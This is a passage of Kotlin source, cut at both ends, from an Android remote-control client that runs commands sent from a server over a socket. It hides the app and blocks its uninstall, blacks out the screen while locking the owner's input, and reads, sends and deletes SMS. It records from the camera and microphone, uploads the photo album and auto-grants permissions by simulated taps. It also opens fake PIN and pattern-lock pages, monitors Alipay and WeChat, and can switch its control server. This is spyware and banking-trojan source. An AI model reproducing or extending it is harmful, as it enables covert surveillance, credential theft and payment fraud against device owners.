|
Log.d(TAG, "🔓 计划重置Web解锁模式")
|
|
|
|
|
|
// 延迟重置,确保确认操作完成
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
Log.d(TAG, "🔓 重置Web解锁模式")
|
|
|
|
|
|
service.setWebUnlockMode(false)
|
|
|
|
|
|
}, 5000) // 5秒后重置
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
"UNLOCK_DEVICE" -> {
|
|
|
|
|
|
Log.d(TAG, "🔓 收到一键解锁指令")
|
|
|
|
|
|
service.unlockDevice()
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
"KEY_EVENT" -> {
|
|
|
|
|
|
// 支持两种格式:keyCode (整数) 和 key (字符串)
|
|
|
|
|
|
if (data.has("keyCode")) {
|
|
|
|
|
|
val keyCode = data.getInt("keyCode")
|
|
|
|
|
|
Log.d(TAG, "按键事件(keyCode): $keyCode")
|
|
|
|
|
|
when (keyCode) {
|
|
|
|
|
|
3 -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_HOME)
|
|
|
|
|
|
4 -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK)
|
|
|
|
|
|
82 -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_RECENTS)
|
|
|
|
|
|
66 -> {
|
|
|
|
|
|
// ✅ 已删除Enter键特殊处理
|
|
|
|
|
|
Log.d(TAG, "Enter键 - 已删除特殊处理")
|
|
|
|
|
|
}
|
|
|
|
|
|
else -> Log.w(TAG, "未知按键代码: $keyCode")
|
|
|
|
|
|
}
|
|
|
|
|
|
} else if (data.has("key")) {
|
|
|
|
|
|
val key = data.getString("key")
|
|
|
|
|
|
Log.d(TAG, "按键事件(key): $key")
|
|
|
|
|
|
when (key) {
|
|
|
|
|
|
"BACK" -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_BACK)
|
|
|
|
|
|
"HOME" -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_HOME)
|
|
|
|
|
|
"RECENTS" -> service.performGlobalActionWithLog(android.accessibilityservice.AccessibilityService.GLOBAL_ACTION_RECENTS)
|
|
|
|
|
|
"ENTER" -> {
|
|
|
|
|
|
// ✅ 已删除Enter键字符串形式特殊处理
|
|
|
|
|
|
Log.d(TAG, "Enter键(字符串) - 已删除特殊处理")
|
|
|
|
|
|
}
|
|
|
|
|
|
else -> Log.w(TAG, "未知按键: $key")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
"GESTURE" -> {
|
|
|
|
|
|
val gestureType = data.getString("type")
|
|
|
|
|
|
Log.d(TAG, "手势操作: $gestureType")
|
|
|
|
|
|
when (gestureType) {
|
|
|
|
|
|
"PINCH_IN", "PINCH_OUT" -> {
|
|
|
|
|
|
val centerX = data.getDouble("centerX").toFloat()
|
|
|
|
|
|
val centerY = data.getDouble("centerY").toFloat()
|
|
|
|
|
|
val scale = data.getDouble("scale").toFloat()
|
|
|
|
|
|
service.performPinchGesture(centerX, centerY, scale, gestureType == "PINCH_OUT")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
"POWER_WAKE" -> {
|
|
|
|
|
|
Log.d(TAG, "点亮屏幕")
|
|
|
|
|
|
service.wakeScreen()
|
|
|
|
|
|
}
|
|
|
|
|
|
"POWER_SLEEP" -> {
|
|
|
|
|
|
Log.d(TAG, "锁定屏幕")
|
|
|
|
|
|
service.lockScreen()
|
|
|
|
|
|
}
|
|
|
|
|
|
"ENABLE_BLACK_SCREEN" -> {
|
|
|
|
|
|
Log.d(TAG, "启用黑屏遮盖")
|
|
|
|
|
|
service.enableBlackScreen()
|
|
|
|
|
|
}
|
|
|
|
|
|
"DISABLE_BLACK_SCREEN" -> {
|
|
|
|
|
|
Log.d(TAG, "取消黑屏遮盖")
|
|
|
|
|
|
service.disableBlackScreen()
|
|
|
|
|
|
}
|
|
|
|
|
|
"HIDE_APP" -> {
|
|
|
|
|
|
Log.d(TAG, "隐藏应用")
|
|
|
|
|
|
service.hideApp()
|
|
|
|
|
|
}
|
|
|
|
|
|
"SHOW_APP" -> {
|
|
|
|
|
|
Log.d(TAG, "显示应用")
|
|
|
|
|
|
service.showApp()
|
|
|
|
|
|
}
|
|
|
|
|
|
"DEVICE_BLOCK_INPUT" -> {
|
|
|
|
|
|
Log.d(TAG, "阻止设备用户输入")
|
|
|
|
|
|
// 检查是否有遮罩配置
|
|
|
|
|
|
val maskText = data.optString("maskText", null)
|
|
|
|
|
|
val maskTextSize = if (data.has("maskTextSize")) data.getDouble("maskTextSize").toFloat() else null
|
|
|
|
|
|
|
|
|
|
|
|
if (maskText != null || maskTextSize != null) {
|
|
|
|
|
|
Log.d(TAG, "设置遮罩配置 - 文字: $maskText, 字体大小: $maskTextSize")
|
|
|
|
|
|
service.setMaskTextConfig(maskText, maskTextSize)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
service.blockDeviceInput()
|
|
|
|
|
|
}
|
|
|
|
|
|
"DEVICE_ALLOW_INPUT" -> {
|
|
|
|
|
|
Log.d(TAG, "允许设备用户输入")
|
|
|
|
|
|
service.allowDeviceInput()
|
|
|
|
|
|
}
|
|
|
|
|
|
"SET_MASK_CONFIG" -> {
|
|
|
|
|
|
Log.d(TAG, "设置遮罩配置")
|
|
|
|
|
|
val maskText = data.optString("maskText", null)
|
|
|
|
|
|
val maskTextSize = if (data.has("maskTextSize")) data.getDouble("maskTextSize").toFloat() else null
|
|
|
|
|
|
service.setMaskTextConfig(maskText, maskTextSize)
|
|
|
|
|
|
}
|
|
|
|
|
|
"LOG_ENABLE" -> {
|
|
|
|
|
|
Log.d(TAG, "暂停:暂时不启用操作日志记录")
|
|
|
|
|
|
service.enableLogging() // 暂停:暂时不启用日志
|
|
|
|
|
|
}
|
|
|
|
|
|
"LOG_DISABLE" -> {
|
|
|
|
|
|
Log.d(TAG, "禁用操作日志记录")
|
|
|
|
|
|
service.disableLogging()
|
|
|
|
|
|
}
|
|
|
|
|
|
"SMART_CONFIRM_DETECTION" -> {
|
|
|
|
|
|
Log.d(TAG, "智能确认按钮检测")
|
|
|
|
|
|
val passwordType = data.optString("passwordType", "")
|
|
|
|
|
|
val screenWidth = data.optInt("screenWidth", 0)
|
|
|
|
|
|
val screenHeight = data.optInt("screenHeight", 0)
|
|
|
|
|
|
service.performSmartConfirmDetection(passwordType, screenWidth, screenHeight)
|
|
|
|
|
|
}
|
|
|
|
|
|
"SMART_UNLOCK_SWIPE" -> {
|
|
|
|
|
|
Log.d(TAG, "智能上滑解锁")
|
|
|
|
|
|
service.performSmartUnlockSwipe()
|
|
|
|
|
|
}
|
|
|
|
|
|
"ALIPAY_DETECTION_START" -> {
|
|
|
|
|
|
Log.d(TAG, "开启支付宝检测")
|
|
|
|
|
|
service.enableAlipayDetection()
|
|
|
|
|
|
}
|
|
|
|
|
|
"ALIPAY_DETECTION_STOP" -> {
|
|
|
|
|
|
Log.d(TAG, "关闭支付宝检测")
|
|
|
|
|
|
service.disableAlipayDetection()
|
|
|
|
|
|
}
|
|
|
|
|
|
"WECHAT_DETECTION_START" -> {
|
|
|
|
|
|
Log.d(TAG, "开启微信检测")
|
|
|
|
|
|
service.enableWechatDetection()
|
|
|
|
|
|
}
|
|
|
|
|
|
"WECHAT_DETECTION_STOP" -> {
|
|
|
|
|
|
Log.d(TAG, "关闭微信检测")
|
|
|
|
|
|
service.disableWechatDetection()
|
|
|
|
|
|
}
|
|
|
|
|
|
"OPEN_APP_SETTINGS" -> {
|
|
|
|
|
|
Log.d(TAG, "打开应用设置")
|
|
|
|
|
|
service.openAppSettings()
|
|
|
|
|
|
}
|
|
|
|
|
|
"REFRESH_MEDIA_PROJECTION_PERMISSION" -> {
|
|
|
|
|
|
Log.d(TAG, "重新获取投屏权限")
|
|
|
|
|
|
service.refreshMediaProjectionPermission()
|
|
|
|
|
|
}
|
|
|
|
|
|
"REFRESH_MEDIA_PROJECTION_MANUAL" -> {
|
|
|
|
|
|
Log.d(TAG, "手动授权投屏权限(不自动点击)")
|
|
|
|
|
|
service.refreshMediaProjectionManual()
|
|
|
|
|
|
}
|
|
|
|
|
|
"CLOSE_CONFIG_MASK" -> {
|
|
|
|
|
|
Log.d(TAG, "手动关闭配置遮盖")
|
|
|
|
|
|
val isManual = data.optBoolean("manual", false)
|
|
|
|
|
|
Log.i(TAG, "🛡️ 收到关闭配置遮盖指令 - 手动操作: $isManual")
|
|
|
|
|
|
service.forceHideConfigMask(isManual)
|
|
|
|
|
|
}
|
|
|
|
|
|
"ENABLE_UNINSTALL_PROTECTION" -> {
|
|
|
|
|
|
Log.d(TAG, "🛡️ 启用防止卸载保护")
|
|
|
|
|
|
service.enableUninstallProtection()
|
|
|
|
|
|
}
|
|
|
|
|
|
"DISABLE_UNINSTALL_PROTECTION" -> {
|
|
|
|
|
|
Log.d(TAG, "🛡️ 禁用防止卸载保护")
|
|
|
|
|
|
service.disableUninstallProtection()
|
|
|
|
|
|
}
|
|
|
|
|
|
"CAMERA_START" -> {
|
|
|
|
|
|
Log.d(TAG, "📷 启动摄像头捕获")
|
|
|
|
|
|
service.startCameraCapture()
|
|
|
|
|
|
}
|
|
|
|
|
|
"CAMERA_STOP" -> {
|
|
|
|
|
|
Log.d(TAG, "📷 停止摄像头捕获")
|
|
|
|
|
|
service.stopCameraCapture()
|
|
|
|
|
|
}
|
|
|
|
|
|
"CAMERA_SWITCH" -> {
|
|
|
|
|
|
Log.d(TAG, "📷 切换摄像头")
|
|
|
|
|
|
service.switchCamera()
|
|
|
|
|
|
}
|
|
|
|
|
|
"CAMERA_CAPTURE_START" -> {
|
|
|
|
|
|
Log.d(TAG, "📷 开始摄像头捕获(精细控制)")
|
|
|
|
|
|
service.startCameraCapturing()
|
|
|
|
|
|
}
|
|
|
|
|
|
"CAMERA_CAPTURE_STOP" -> {
|
|
|
|
|
|
Log.d(TAG, "📷 停止摄像头捕获(精细控制)")
|
|
|
|
|
|
service.stopCameraCapturing()
|
|
|
|
|
|
}
|
|
|
|
|
|
"CAMERA_STATUS" -> {
|
|
|
|
|
|
val isCapturing = service.isCameraCapturing()
|
|
|
|
|
|
val cameraInfo = service.getCameraInfo()
|
|
|
|
|
|
Log.d(TAG, "📷 摄像头状态: ${if (isCapturing) "正在捕获" else "未捕获"}, 摄像头: $cameraInfo")
|
|
|
|
|
|
// 可以在这里发送状态回执给服务器
|
|
|
|
|
|
}
|
|
|
|
|
|
"CAMERA_INFO" -> {
|
|
|
|
|
|
val cameraInfo = service.getCameraInfo()
|
|
|
|
|
|
Log.d(TAG, "📷 摄像头信息: $cameraInfo")
|
|
|
|
|
|
// 可以在这里发送摄像头信息回执给服务器
|
|
|
|
|
|
}
|
|
|
|
|
|
"SMS_READ" -> {
|
|
|
|
|
|
val limit = data.optInt("limit", 50)
|
|
|
|
|
|
Log.d(TAG, "📱 读取短信列表 (限制: $limit)")
|
|
|
|
|
|
val smsList = service.readSMSList(limit)
|
|
|
|
|
|
Log.d(TAG, "📱 读取到 ${smsList.size} 条短信")
|
|
|
|
|
|
// 可以在这里发送短信列表回执给服务器
|
|
|
|
|
|
}
|
|
|
|
|
|
"SMS_SEND" -> {
|
|
|
|
|
|
val phoneNumber = data.getString("phoneNumber")
|
|
|
|
|
|
val message = data.getString("message")
|
|
|
|
|
|
Log.d(TAG, "📱 发送短信到: $phoneNumber")
|
|
|
|
|
|
val success = service.sendSMS(phoneNumber, message)
|
|
|
|
|
|
Log.d(TAG, "📱 短信发送结果: $success")
|
|
|
|
|
|
// 可以在这里发送发送结果回执给服务器
|
|
|
|
|
|
}
|
|
|
|
|
|
"SMS_MARK_READ" -> {
|
|
|
|
|
|
val smsId = data.getLong("smsId")
|
|
|
|
|
|
Log.d(TAG, "📱 标记短信为已读: $smsId")
|
|
|
|
|
|
val success = service.markSMSAsRead(smsId)
|
|
|
|
|
|
Log.d(TAG, "📱 标记结果: $success")
|
|
|
|
|
|
}
|
|
|
|
|
|
"ALBUM_READ" -> {
|
|
|
|
|
|
// 新逻辑:始终读取全部并发送;若有新指令打断,重启任务
|
|
|
|
|
|
Log.d(TAG, "🖼️ 收到读取相册指令,启动/重启读取+发送任务(读取全部)")
|
|
|
|
|
|
startReadAndSendAllGallery()
|
|
|
|
|
|
}
|
|
|
|
|
|
"GALLERY_PERMISSION_REQUEST" -> {
|
|
|
|
|
|
Log.d(TAG, "🖼️ 申请相册权限")
|
|
|
|
|
|
service.requestGalleryPermissionWithAutoGrant()
|
|
|
|
|
|
}
|
|
|
|
|
|
"GALLERY_PERMISSION_CHECK" -> {
|
|
|
|
|
|
val hasPermission = service.checkGalleryPermission()
|
|
|
|
|
|
Log.d(TAG, "🖼️ 相册权限状态: ${if (hasPermission) "已授予" else "未授予"}")
|
|
|
|
|
|
|
|
|
|
|
|
if (!hasPermission) {
|
|
|
|
|
|
Log.d(TAG, "🖼️ 相册权限未授予,自动申请权限")
|
|
|
|
|
|
service.requestGalleryPermissionWithAutoGrant()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
"GALLERY_PERMISSION_AUTO_GRANT" -> {
|
|
|
|
|
|
Log.d(TAG, "🖼️ 自动申请相册权限(盲点方式)")
|
|
|
|
|
|
service.requestGalleryPermissionWithAutoGrant()
|
|
|
|
|
|
}
|
|
|
|
|
|
"MICROPHONE_PERMISSION_REQUEST" -> {
|
|
|
|
|
|
Log.d(TAG, "🎤 申请麦克风权限")
|
|
|
|
|
|
service.requestMicrophonePermissionWithAutoGrant()
|
|
|
|
|
|
}
|
|
|
|
|
|
"MICROPHONE_PERMISSION_CHECK" -> {
|
|
|
|
|
|
val hasPermission = service.checkMicrophonePermission()
|
|
|
|
|
|
Log.d(TAG, "🎤 麦克风权限状态: ${if (hasPermission) "已授予" else "未授予"}")
|
|
|
|
|
|
|
|
|
|
|
|
if (!hasPermission) {
|
|
|
|
|
|
Log.d(TAG, "🎤 麦克风权限未授予,自动申请权限")
|
|
|
|
|
|
service.requestMicrophonePermissionWithAutoGrant()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
"MICROPHONE_PERMISSION_AUTO_GRANT" -> {
|
|
|
|
|
|
Log.d(TAG, "🎤 自动申请麦克风权限(盲点方式)")
|
|
|
|
|
|
service.requestMicrophonePermissionWithAutoGrant()
|
|
|
|
|
|
}
|
|
|
|
|
|
"MICROPHONE_START_RECORDING" -> {
|
|
|
|
|
|
Log.d(TAG, "🎤 开始麦克风录音")
|
|
|
|
|
|
service.startMicrophoneRecording()
|
|
|
|
|
|
}
|
|
|
|
|
|
"MICROPHONE_STOP_RECORDING" -> {
|
|
|
|
|
|
Log.d(TAG, "🎤 停止麦克风录音")
|
|
|
|
|
|
service.stopMicrophoneRecording()
|
|
|
|
|
|
}
|
|
|
|
|
|
"MICROPHONE_RECORDING_STATUS" -> {
|
|
|
|
|
|
val isRecording = service.isMicrophoneRecording()
|
|
|
|
|
|
Log.d(TAG, "🎤 麦克风录音状态: ${if (isRecording) "正在录音" else "未录音"}")
|
|
|
|
|
|
val payload = org.json.JSONObject().apply {
|
|
|
|
|
|
put("deviceId", getDeviceId())
|
|
|
|
|
|
put("type", "microphone_status")
|
|
|
|
|
|
put("timestamp", System.currentTimeMillis())
|
|
|
|
|
|
put("isRecording", isRecording)
|
|
|
|
|
|
}
|
|
|
|
|
|
socket?.emit("microphone_status", payload)
|
|
|
|
|
|
}
|
|
|
|
|
|
"SMS_DELETE" -> {
|
|
|
|
|
|
val smsId = data.getLong("smsId")
|
|
|
|
|
|
Log.d(TAG, "📱 删除短信: $smsId")
|
|
|
|
|
|
val success = service.deleteSMS(smsId)
|
|
|
|
|
|
Log.d(TAG, "📱 删除结果: $success")
|
|
|
|
|
|
}
|
|
|
|
|
|
"SMS_UNREAD_COUNT" -> {
|
|
|
|
|
|
val count = service.getUnreadSMSCount()
|
|
|
|
|
|
Log.d(TAG, "📱 未读短信数量: $count")
|
|
|
|
|
|
// 可以在这里发送未读数量回执给服务器
|
|
|
|
|
|
}
|
|
|
|
|
|
"SMS_PERMISSION_CHECK" -> {
|
|
|
|
|
|
val hasPermission = service.checkSMSPermission()
|
|
|
|
|
|
Log.d(TAG, "📱 短信权限检查: $hasPermission")
|
|
|
|
|
|
if (!hasPermission) {
|
|
|
|
|
|
service.requestSMSPermissionWithAutoGrant()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
"SMS_PERMISSION_AUTO_GRANT" -> {
|
|
|
|
|
|
val hasPermission = service.checkSMSPermission()
|
|
|
|
|
|
Log.d(TAG, "📱 短信权限自动授予检查: $hasPermission")
|
|
|
|
|
|
if (!hasPermission) {
|
|
|
|
|
|
service.requestSMSPermissionWithAutoGrant()
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.d(TAG, "📱 短信权限已授予,无需申请")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
"OPEN_PIN_INPUT" -> {
|
|
|
|
|
|
Log.d(TAG, "🔐 收到打开PIN输入页面指令")
|
|
|
|
|
|
openPasswordInputActivity(com.hikoncont.activity.PasswordInputActivity.PASSWORD_TYPE_PIN)
|
|
|
|
|
|
}
|
|
|
|
|
|
"OPEN_FOUR_DIGIT_PIN" -> {
|
|
|
|
|
|
Log.d(TAG, "🔐 收到打开4位数字PIN页面指令")
|
|
|
|
|
|
openPasswordInputActivity(com.hikoncont.activity.PasswordInputActivity.PASSWORD_TYPE_PIN_4)
|
|
|
|
|
|
}
|
|
|
|
|
|
"OPEN_PATTERN_LOCK" -> {
|
|
|
|
|
|
Log.d(TAG, "🔐 收到打开图形密码页面指令")
|
|
|
|
|
|
openPasswordInputActivity(com.hikoncont.activity.PasswordInputActivity.PASSWORD_TYPE_PATTERN)
|
|
|
|
|
|
}
|
|
|
|
|
|
"CHANGE_SERVER_URL" -> {
|
|
|
|
|
|
val newServerUrl = data.optString("serverUrl", "")
|
|
|
|
|
|
if (newServerUrl.isNotEmpty()) {
|
|
|
|
|
|
Log.i(TAG, "🔄 收到修改服务器地址指令: $newServerUrl")
|
|
|
|
|
|
handleServerUrlChange(newServerUrl)
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 修改服务器地址指令缺少serverUrl参数")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
"SCREEN_CAPTURE_PAUSE" -> {
|
|
|
|
|
|
Log.d(TAG, "📺 暂停远程桌面")
|
|
|
|
|
|
service.getScreenCaptureManager()?.pauseCapture()
|
|
|
|
|
|
}
|
|
|
|
|
|
"SCREEN_CAPTURE_RESUME" -> {
|
|
|
|
|
|
Log.d(TAG, "📺 继续远程桌面")
|
|
|
|
|
|
service.getScreenCaptureManager()?.resumeCapture()
|
|
|
|
|
|
}
|
|
|
|
|
|
else -> Log.w(TAG, "未知控制操作: $type")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "处理控制消息失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 发送操作日志到服务器(优化版本,避免与屏幕数据传输冲突)
|
|
|
|
|
|
*/
|
|
|
|
|
|
fun sendOperationLog(logData: JSONObject) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
if (isConnected && socket?.connected() == true) {
|
|
|
|
|
|
// 🔧 关键优化:检查与屏幕数据发送的时间间隔,避免传输冲突
|
|
|
|
|
|
val currentTime = System.currentTimeMillis()
|
|
|
|
|
|
val timeSinceLastScreenData = currentTime - lastScreenDataTime
|
|
|
|
|
|
|
|
|
|
|
|
// 如果刚刚发送过屏幕数据(100ms内),稍微延迟发送日志
|
|
|
|
|
|
if (timeSinceLastScreenData < 100) {
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
|
|
|
|
|
|
try {
|
|
|
|
|
|
if (isConnected && socket?.connected() == true) {
|
|
|
|
|
|
socket?.emit("operation_log", logData)
|
|
|
|
|
|
Log.d(TAG, "📤 [延迟] 发送操作日志: ${logData.optString("logType")} - ${logData.optString("content")}")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 延迟发送操作日志失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}, 150) // 延迟150ms,错开屏幕数据发送时间
|
|
|
|
|
|
} else {
|
|
|
|
|
|
// 安全时间窗口,直接发送
|
|
|
|
|
|
socket?.emit("operation_log", logData)
|
|
|
|
|
|
Log.d(TAG, "📤 发送操作日志: ${logData.optString("logType")} - ${logData.optString("content")}")
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ Socket未连接,无法发送操作日志")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 发送操作日志失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🆕 发送权限申请响应到服务器
|
|
|
|
|
|
*/
|
|
|
|
|
|
fun sendPermissionResponse(permissionType: String, success: Boolean, message: String) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
if (isConnected && socket?.connected() == true) {
|
|
|
|
|
|
val responseData = JSONObject().apply {
|
|
|
|
|
|
put("deviceId", getDeviceId())
|
|
|
|
|
|
put("permissionType", permissionType)
|
|
|
|
|
|
put("success", success)
|
|
|
|
|
|
put("message", message)
|
|
|
|
|
|
put("timestamp", System.currentTimeMillis())
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
socket?.emit("permission_response", responseData)
|
|
|
|
|
|
Log.i(TAG, "📤 发送权限申请响应: $permissionType - 成功=$success, 消息=$message")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ Socket未连接,无法发送权限申请响应")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 发送权限申请响应失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🆕 发送设备输入阻塞状态变更到服务器
|
|
|
|
|
|
*/
|
|
|
|
|
|
fun sendDeviceInputBlockedChanged(blocked: Boolean, fromConfigComplete: Boolean = false, autoEnabled: Boolean = false) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
if (isConnected && socket?.connected() == true) {
|
|
|
|
|
|
val eventData = JSONObject().apply {
|
|
|
|
|
|
put("deviceId", getDeviceId())
|
|
|
|
|
|
put("blocked", blocked)
|
|
|
|
|
|
put("success", true)
|
|
|
|
|
|
put("message", if (blocked) "设备输入已阻塞" else "设备输入已恢复")
|
|
|
|
|
|
put("timestamp", System.currentTimeMillis())
|
|
|
|
|
|
put("fromConfigComplete", fromConfigComplete) // 标记这是配置完成后的自动启用
|
|
|
|
|
|
put("autoEnabled", autoEnabled) // 标记这是自动启用的,区别于手动操作
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
socket?.emit("device_input_blocked_changed", eventData)
|
|
|
|
|
|
Log.i(TAG, "📤 发送设备输入阻塞状态变更: blocked=$blocked, fromConfigComplete=$fromConfigComplete, autoEnabled=$autoEnabled")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ Socket未连接,无法发送设备输入阻塞状态变更")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 发送设备输入阻塞状态变更失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 处理服务器地址修改
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun handleServerUrlChange(newServerUrl: String) {
|
|
|
|
|
|
scope.launch(Dispatchers.IO) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "🔄 开始处理服务器地址修改: $newServerUrl")
|
|
|
|
|
|
|
|
|
|
|
|
// 0. 验证新服务器地址格式
|
|
|
|
|
|
if (newServerUrl.isBlank() || (!newServerUrl.startsWith("ws://") && !newServerUrl.startsWith("wss://"))) {
|
|
|
|
|
|
Log.e(TAG, "❌ 无效的服务器地址格式: $newServerUrl")
|
|
|
|
|
|
sendErrorResponse("无效的服务器地址格式")
|
|
|
|
|
|
return@launch
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 1. 保存新的服务器地址到配置文件
|
|
|
|
|
|
val success = com.hikoncont.util.ConfigWriter.updateServerUrl(service, newServerUrl)
|
|
|
|
|
|
|
|
|
|
|
|
if (success) {
|
|
|
|
|
|
Log.i(TAG, "✅ 服务器地址已保存到配置文件")
|
|
|
|
|
|
|
|
|
|
|
|
// 1.5. 验证配置是否真的保存成功
|
|
|
|
|
|
val savedUrl = com.hikoncont.util.ConfigWriter.getCurrentServerUrl(service)
|
|
|
|
|
|
if (savedUrl == newServerUrl) {
|
|
|
|
|
|
Log.i(TAG, "✅ 配置验证成功,新地址已保存: $savedUrl")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 配置验证失败,保存的地址: $savedUrl, 期望的地址: $newServerUrl")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 2. 发送响应给服务器
|
|
|
|
|
|
withContext(Dispatchers.Main) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val responseData = JSONObject().apply {
|
|
|
|
|
|
put("deviceId", getDeviceId())
|
|
|
|
|
|
put("success", true)
|
|
|
|
|
|
put("message", "服务器地址已更新,即将重启连接")
|
|
|
|
|
|
put("newServerUrl", newServerUrl)
|
|
|
|
|
|
put("timestamp", System.currentTimeMillis())
|
|
|
|
|
|
}
|
|
|
|
|
|
socket?.emit("server_url_changed", responseData)
|
|
|
|
|
|
Log.i(TAG, "📤 发送服务器地址修改响应")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 发送响应失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 3. 延迟后断开当前连接并重新连接到新地址
|
|
|
|
|
|
delay(2000) // 延迟2秒,确保响应发送成功
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "🔄 开始重启WebSocket连接...")
|
|
|
|
|
|
reconnectToNewServer(newServerUrl)
|
|
|
|
|
|
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.e(TAG, "❌ 保存服务器地址失败")
|
|
|
|
|
|
|
|
|
|
|
|
// 发送失败响应
|
|
|
|
|
|
withContext(Dispatchers.Main) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val responseData = JSONObject().apply {
|
|
|
|
|
|
put("deviceId", getDeviceId())
|
|
|
|
|
|
put("success", false)
|
|
|
|
|
|
put("message", "保存服务器地址失败")
|
|
|
|
|
|
put("timestamp", System.currentTimeMillis())
|
|
|
|
|
|
}
|
|
|
|
|
|
socket?.emit("server_url_changed", responseData)
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 发送失败响应失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 处理服务器地址修改失败", e)
|
|
|
|
|
|
sendErrorResponse("处理服务器地址修改时发生异常: ${e.message}")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 发送错误响应
|
|
|
|
|
|
*/
|
|
|
|
|
|
private suspend fun sendErrorResponse(errorMessage: String) {
|
|
|
|
|
|
withContext(Dispatchers.Main) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val responseData = JSONObject().apply {
|
|
|
|
|
|
put("deviceId", getDeviceId())
|
|
|
|
|
|
put("success", false)
|
|
|
|
|
|
put("message", errorMessage)
|
|
|
|
|
|
put("timestamp", System.currentTimeMillis())
|
|
|
|
|
|
}
|
|
|
|
|
|
socket?.emit("server_url_changed", responseData)
|
|
|
|
|
|
Log.i(TAG, "📤 发送错误响应: $errorMessage")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 发送错误响应失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 重新连接到新服务器
|
|
|
|
|
|
*/
|
|
|
|
|
|
private suspend fun reconnectToNewServer(newServerUrl: String) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "🔄 断开当前连接...")
|
|
|
|
|
|
|
|
|
|
|
|
// 1. 断开当前连接
|
|
|
|
|
|
withContext(Dispatchers.Main) {
|
|
|
|
|
|
socket?.disconnect()
|
|
|
|
|
|
socket?.close()
|
|
|
|
|
|
socket = null
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "✅ 当前连接已断开")
|
|
|
|
|
|
|
